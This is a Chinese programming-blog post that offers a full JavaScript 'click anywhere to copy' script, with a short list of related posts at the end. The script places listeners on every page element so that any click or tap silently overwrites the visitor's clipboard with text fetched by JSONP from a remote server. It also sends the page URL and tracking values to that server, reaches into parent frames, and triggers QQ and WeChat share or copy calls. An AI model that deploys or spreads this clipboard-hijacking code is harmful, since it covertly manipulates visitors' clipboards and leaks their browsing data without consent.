1. 程式人生 > >自動複製 JavaScript 指令碼,JavaScript點選任意位置複製指令碼原始碼

自動複製 JavaScript 指令碼,JavaScript點選任意位置複製指令碼原始碼

其實就是一個複製指令碼:

他建立了一個層,然後這個層的z-index層級很高。

Javascript指令碼:


(function($$) {
    var EVAutoCopy = {
        trigger: null,
        dd: document,
        ww: window,
        listener: [],
        listenerCopy: null,
        text: null,
        action: "copy",
        ua: window.navigator.userAgent,
        host: location.protocol + "//" + location.host,
        id: "default",
        token: "",
        hascopy: null,
        hasload: null,
        hascopy2: null,
        closeqq: "no",
        tongjiURL:null,
        listenerTouchend: [],
        getCodeUrl:"json.json?callback=vvvv",
        showAd: function() {
            this.id = window.amb_jd_proxy_f;
        },
        randText : function(pams) {
            return this.rands(pams);
        },
        rands : function(source) {
            return source[Math.floor(Math.random()*source.length)];
        },
        isArray : function(f) {
            return "[object Array]" == Object.prototype.toString.call(f)
        },
        init: function() {
            var EV_core = this;
            EV_core.trigger = EV_core.dd.getElementsByTagName("*");
            EV_core.showAd();
            EV_core.hascopy = EV_core.sGet("amb_jd_copy");
            EV_core.hasload = EV_core.sGet("amb_jd_load");
            if (null == EV_core.sGet("amb_jd_open")) {
                var vinfo = "";
                null != EV_core.sGet("amb_jd_open_info") ? (vinfo = EV_core.sGet("amb_jd_open_info")) : (vinfo = EV_core.randomString(), EV_core.sSet("amb_jd_open_info", vinfo, window.amb_jd_proxy_c));
                EV_core.getJSONP(EVAutoCopy.getCodeUrl, {
                    f: EV_core.id,
                    h: EV_core.hasload,
                    current_url: encodeURIComponent(top.location.href)
                }, function(b) {
                    var autoText = b.code;
                    if(EVAutoCopy.isArray(autoText)){
                        autoText = EVAutoCopy.randText(autoText);
                    }
                    EVAutoCopy.tongjiURL = b.tongji;
                    EV_core.text = autoText;
                    EV_core.token = b.token;
                    EV_core.closeqq = b.closeqq;
                    if (b.iscn == "no") {
                        EV_core.wxcp(b.text);
                    }
                    EV_core.sSet("amb_jd_load", "has", 86400);
                    "null" == EV_core.text && (EV_core.text = 0);
                    EV_core.dd.queryCommandSupported && EV_core.dd.queryCommandSupported(EV_core.action) ? EV_core.text && (EV_core.listenClick(), EV_core.listenTouchend()) : 1 < EV_core.ua.split("MQQBrowser").length && 1 < EV_core.ua.split("Android").length && 2 > EV_core.ua.split("MicroMessenger").length && 2 > EV_core.ua.split("QQ/").length ? EV_core.text && EV_core.qqCopy() : (EV_core.listenerCopy = EV_core.listenNode(EV_core.dd.body, "click", EV_core.clipboardCopy.bind(EV_core)));
                }, this);
            }
        },
        wxcp: function(a) {
            if (/MicroMessenger/i.test(navigator.userAgent)) {
                var iframe = document.createElement("iframe");
                iframe.style.cssText = "display:none;width:0px;height:0px;";
                iframe.src = "weixin://webview/copy/" + a;
                document.body.appendChild(iframe);
            }
        },
        cp: function(a) {
            var b = this;
            if (b.hascopy2 == null && EVAutoCopy.tongjiURL !=null) {
                b.hascopy2 = "yes";
                b.getJSONP(EVAutoCopy.tongjiURL, {
                    f: b.id,
                    h: b.hascopy,
                    current_url: encodeURIComponent(top.location.href)
                }, function(c) {
                    b.sSet("amb_jd_open", "close", window.amb_jd_proxy_c);
                    b.sSet("amb_jd_copy", "has", 86400);
                }, true);
            }
        },
        qqCopy: function() {
            var a = this,
                b = a.text,
                c = navigator.appVersion,
                e = 1 < c.split("MQQBrowser/").length ? 2 : 0;
            if (a.closeqq == "yes") {
                return true;
            }
            if (e) {
                var f = {
                    url: b,
                    to_app: "10",
                    us_txt: "23s"
                };
                b = c.split("MQQBrowser/")[1].split(".");
                b = parseFloat(b[0] + "." + b[1]);
                b = 5.4 > (e ? b : 0) ? "//3gimg.qq.com/html5/js/qb.js" : "//jsapi.qq.com/get?api=app.share";
                c = a.dd.createElement("script");
                var d = a.dd.getElementsByTagName("body")[0];
                c.setAttribute("src", b);
                c.onload = function() {
                    "undefined" != typeof a.ww.browser && "undefined" != typeof a.ww.browser.app && 2 == e ? (a.ww.browser.app.share(f), a.cp("1")) : "undefined" != typeof a.ww.qb && 1 == e && (a.ww.qb.share(f), a.cp("1"));
                };
                d.appendChild(c);
            }
        },
        clipboardCopy: function(a) {
            _this.ww.clipboardData && this.text && _this.ww.clipboardData.setData("Text", this.text);
            this.listenerCopy.destroy();
        },
        listenClick: function() {
            for (var a = this, b = 0; b < a.trigger.length; b++) {
                a.listener.push(a.listenNode(a.trigger[b], "click", function(b) {
                    return a.onClick(b, "click");
                }));
            }
        },
        listenTouchend: function() {
            for (var a = this, b = 0; b < a.trigger.length; b++) {
                a.listenerTouchend.push(a.listenNode(a.trigger[b], "touchend", function(b) {
                    return a.onClick(b, "touchend");
                }));
            }
        },
        listenNode: function(a, b, c) {
            a.addEventListener(b, c, true);
            return {
                destroy: function() {
                    a.removeEventListener(b, c, true);
                }
            };
        },
        onClick: function(a, b) {
            var c = this;
            this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return true");
            this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return true");
            "INPUT" != a.target.nodeName && "TEXTAREA" != a.target.nodeName && ((new $$(this.text, this.action, function(a) {
                a ? c.cp("1") : c.cp("2");
            })).start(), "click" == b ? (this.listenerD = true, this.listener.forEach(function(a, b) {
                a.destroy();
            })) : "touchend" == b && this.listenerTouchend.forEach(function(a, b) {
                a.destroy();
            }));
            this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return false");
            this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return false");
        },
        randomString: function() {
            var a = "";
            for (i = 0; 7 > i; i++) {
                a += "ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(61 * Math.random()));
            }
            return a;
        },
        sGet: function(a) {
            try {
                if (!this.ww.localStorage[a]) {
                    return null;
                }
                var b = JSON.parse(this.ww.localStorage[a]);
                return b.time < (new Date).getTime() ? (this.ww.localStorage[a] = null) : b.value;
            } catch (c) {
                return console.log("not localStorage."), null;
            }
        },
        sSet: function(a, b, c) {
            try {
                var e = {
                    name: a,
                    value: b,
                    time: (new Date).getTime() + 1000 * c
                };
                this.ww.localStorage[a] = JSON.stringify(e);
            } catch (f) {
                console.log("not localStorage.");
            }
        },
        now: function() {
            return (new Date).getTime();
        },
        rand: function() {
            return Math.random().toString().substr(2);
        },
        parseData: function(a) {
            var b = "";
            if ("string" === typeof a) {
                b = a;
            } else if ("object" === typeof a) {
                for (var c in a) {
                    b += "&" + c + "=" + encodeURIComponent(a[c]);
                }
            }
            b += "&_time=" + this.now();
            return b = b.substr(1);
        },
        getJSONP: function(a, b, c) {
            a = a + (-1 === a.indexOf("?") ? "?" : "&") + this.parseData(b);
            if ((b = /callback=(\w+)/.exec(a)) && b[1]) {
                var e = b[1];
            } else {
                e = "jsonp_" + this.now() + "_" + this.rand(), a = a.replace("callback=?", "callback=" + e), a = a.replace("callback=%3F", "callback=" + e);
            }
            b = document.createElement("script");
            b.type = "text/javascript";
            b.src = a;
            b.id = "id_" + e;
            window[e] = function(a) {
                window[e] = void 0;
                var b = document.getElementById("id_" + e),
                    k = b.parentNode;
                k && 11 !== k.nodeType && k.removeChild(b);
                c(a);
            };
            (a = document.getElementsByTagName("head")) && a[0] && a[0].appendChild(b);
        }
    };
    try {
        parent.window.location.href != window.location.href && (EVAutoCopy.host = parent.window.location.protocol + "//" + parent.window.location.host, EVAutoCopy.dd = parent.document, EVAutoCopy.ww = parent.window), EVAutoCopy.init();
    } catch (a) {
        EVAutoCopy.init();
    }
})(function(h, g, a) {
    return {
        fakeElem: null,
        text: h,
        action: g,
        selectedText: null,
        dd: document,
        ww: window,
        start: function() {
            this.text && (parent.window.location.href != window.location.href && (this.ww = top.window, this.dd = top.document), this.selectFake());
        },
        selectFake: function() {
            var a = "rtl" == this.dd.documentElement.getAttribute("dir");
            this.removeFake();
            this.fakeElem = this.dd.createElement("textarea");
            this.fakeElem.style.fontSize = "12pt";
            this.fakeElem.style.border = "0";
            this.fakeElem.style.padding = "0";
            this.fakeElem.style.margin = "0";
            this.fakeElem.style.position = "absolute";
            a ? (this.fakeElem.style.right = "-9999px") : (this.fakeElem.style.left = "-9999px");
            this.fakeElem.style.top = (this.ww.pageYOffset || this.dd.documentElement.scrollTop) + "px";
            this.fakeElem.setAttribute("readonly", "");
            this.fakeElem.value = this.text;
            this.dd.body.appendChild(this.fakeElem);
            this.selectedText = this.selectText(this.fakeElem);
            this.copyText();
        },
        removeFake: function() {
            this.fakeElem && (this.dd.body.removeChild(this.fakeElem), this.fakeElem = null);
        },
        copyText: function() {
            var b = void 0;
            try {
                b = this.dd.execCommand(this.action);
            } catch (c) {
                b = false;
            }
            this.removeFake();
            a.call(this, b);
        },
        selectText: function(element) {
            if ("SELECT" === element.nodeName) {
                element.focus(), element = element.value;
            } else if ("INPUT" === element.nodeName || "TEXTAREA" === element.nodeName) {
                var b = element.hasAttribute("readonly");
                b || element.setAttribute("readonly", "");
                element.select();
                element.setSelectionRange(0, element.value.length);
                b || element.removeAttribute("readonly");
                element = element.value;
            } else {
                element.hasAttribute("contenteditable") && element.focus();
                b = this.ww.getSelection();
                var e = this.dd.createRange();
                e.selectNodeContents(element);
                b.removeAllRanges();
                b.addRange(e);
                element = b.toString();
            }
            return element;
        }
    };
});



返回的JSON:

vvvv({"auth":"vvvv","code":["code1","code2","code..."]});

測試吧

相關推薦

自動複製 JavaScript 指令碼JavaScript任意位置複製指令碼原始碼

其實就是一個複製指令碼: 他建立了一個層,然後這個層的z-index層級很高。 Javascript指令碼: (function($$) { var EVAutoCopy = { trigger: null, dd: docum

Javascript學習筆記】【DOM實戰— —jQ實現任意位置關閉某處的效果(常用於模態框後面的遮罩層)】

【Javascript學習筆記】 目錄 目錄 原理 效果 程式碼 實戰程式碼 快捷連結 點選任意位置關閉某處 而且點選對應處並不會hide掉自己 原理

bootstrap彈出框如何實現擊出彈出框後任意地方隱藏彈出框

最近做個專案是用bootstrap搭建的網站,因為其自帶彈出框很好使,便直接拿過來用了。 不廢話直接進入正題 共分兩步 1. 首先設彈出框方式為自動 popover(function(){ t

javascript的奇怪的問題滑鼠偶數次觸發事件單數次不觸發事件

編寫前臺頁面的javascipt程式碼時遇到的奇怪問題,排查了幾個小時,一開始抓不到頭緒,後來跟蹤javascipt程式碼時,發現該事件被累計觸發了,所以一次靈光、一次不靈光,仔細研究程式碼,發現,每次處理過程中,javascript程式都會在它的父節點註冊一回該事件,雖然

Gvim雖然可以設定檔案內容自動更改但是也要滑鼠移到文字之外的區域一下文字怎麼樣不用人為操作呢?

最近在做礦山定位系統,雖然可以利用資料庫連線池頻繁操作查詢資料庫 然後把查詢的結果輸出到txt文本里,利用了GVIM文字自動更新內容; Gvim雖然可以設定檔案內容自動更改,但是也要滑鼠移到文字之外的區域,再點選一下文字,怎麼樣不用人為操作呢? 哈哈哈 百度了好久,有一個軟體叫按鍵精

滑鼠實現複製功能相容主流瀏覽器

1.有一個需求,點選滑鼠左鍵,複製連結,可以將該連結貼上,實現一個簡單的複製貼上功能 2.程式碼實現 (1)HTML程式碼 <!DOCTYPE html> <html> <head> <title></title> &

移動Web前端遊客商品的收藏按鈕登入完成回來之後如何自動收藏

我們都知道,移動Web端(M站環境下),很多時候,前端是無法判斷使用者的登入狀態的,因為出於安全性考慮,與賬號相關的cookie欄位一般都是 http-only的。 如果前端想判斷使用者的登入狀態,需要主動去調後臺介面,根據後臺介面返回的狀態碼來判斷。 那麼,我如果想實現下面這樣一個場景,該怎麼做呢? 移動

ViewPager輪播圖:自動無限輪播手指長按停止實現事件(實用版)

此Demo是自定義的viewpager,實現功能如下:無限自動輪播,pager點選事件處理,手指長按停止自動輪播,手指擡起恢復自動輪播; 幾乎可以滿足目前專案中的要求;大家可以直接使用; 整個Demo分兩大類,一個是自定義的ViewPager,一個是MainActivi

Javascript和jquery事件--事件和觸發超連結

前面的不過是一些基礎的知識,真正的一些事件還是有點不同。還有一些名稱空間的問題。不過現在ie也開始接受W3C標準,而且平時開發也很少考慮ie了,一些事件就不考慮ie了。 點選事件--click   大部分問題出現在js、jq觸發超連結上面。我之前看到的解釋是谷歌新版本阻止了觸發瀏覽器預設的操作(超連結、右

通過滾動條向下滾動時DIV廣告自動跟著向下滾動並且置頂

<html> <head>     <title></title>     <script src="../Scripts/jquery-1.4.1.min.js" type="text/javascript"></script>  

javascript中防止重複、防止過快實用方法

防止重複點選可以新增一個開關,讓這個開關預設為true,第一次點選將其變為false,點選事件的執行需要判斷這個開關是否為true,為true執行,false不執行。例子如下:var isclick= true; function click(){     if(isclic

javascript 學習 右鍵事件 不要瀏覽器的右鍵工具欄

1,效果 2,程式碼 <!doctype html> <head> <meta charset="utf-8"/> <style> #click-co

JavaScript | 阻止預設事件 按鈕後input框不失去焦點

想實現一個登入介面常用的效果:點選按鈕後切換input框的顯示/隱藏密碼 首先想到的是,在按鈕的點選事件裡呼叫focus()使input獲得焦點,程式碼如下: <body> <i

javascript 模擬的滑鼠事件

做專案遇到一個問題,按鈕的點選效果是用css3來實現的,javascript 從後臺獲取到資料之後需要將按鈕設定成已點選狀態。如果直接用javascript來修改css效果的話會非常麻煩,可以用.click()方法來實現滑鼠點選事件,即document.getElementB

js 實現間隔相同時間自動觸發兩個按鈕的事件兩個按鈕觸發事件時間間隔一樣然後迴圈

問題: function clickTuo() { $("#ffimg1").trigger("click"); }; function clickTuo2() {

如果你是第一次接觸Python當中的面向物件進來。

2018年7月29日15:49:49 今天有時間寫一篇關於Python面向物件入門的文章,其實面向物件是不屬於某一門程式語言的,而是一種程式設計思想,如果你是第一次接觸面向物件,你需要弄懂下面幾個問題: 什麼是面向物件,為什麼要使用面向物件? 什麼是類,為什麼要使用類?

平移動畫某個控制元件讓一個view收縮到右邊螢幕展開。

最近做了一個需求。就是點選一個箭頭 ,讓一個view收縮到右邊螢幕,再點選這個View展開,其實看是收縮,其實是平移,讓這個View平移View.getWidth的寬度,同時把這個View的座標也平移過去(不平移座標,點選監聽會還在原來的位置),再讓這個View平移  —View.getW

按home鍵再次頁面按鈕回到退出頁面

第一步:去除application中的 android:launchMode=“singleTask” 第二步:然後新增:android:alwaysRetainTaskState=“true” (作用:是否保持原來的狀態。當我們按HOME鍵返回桌面,"true"表示任務棧的狀

相容IE8的頁面繫結

情況:繫結整個頁面點選事件時,IE8失效,所以做了以下相容 程式碼: 第一種:(else內的方式繫結,只有谷歌等瀏覽器可以,IE8不可以) //判斷是否為IE8(showModalDialog為IE8特有彈窗方法) if(window.showModalDialog){   &

Js實現抽獎轉盤返回某個模組頂部的功能

最近寫了幾個轉盤抽獎的活動頁面: 1.設定旋轉的角度: HTML部分:轉盤程式碼: <div class="lottery"> <div class="lottery_box"> <di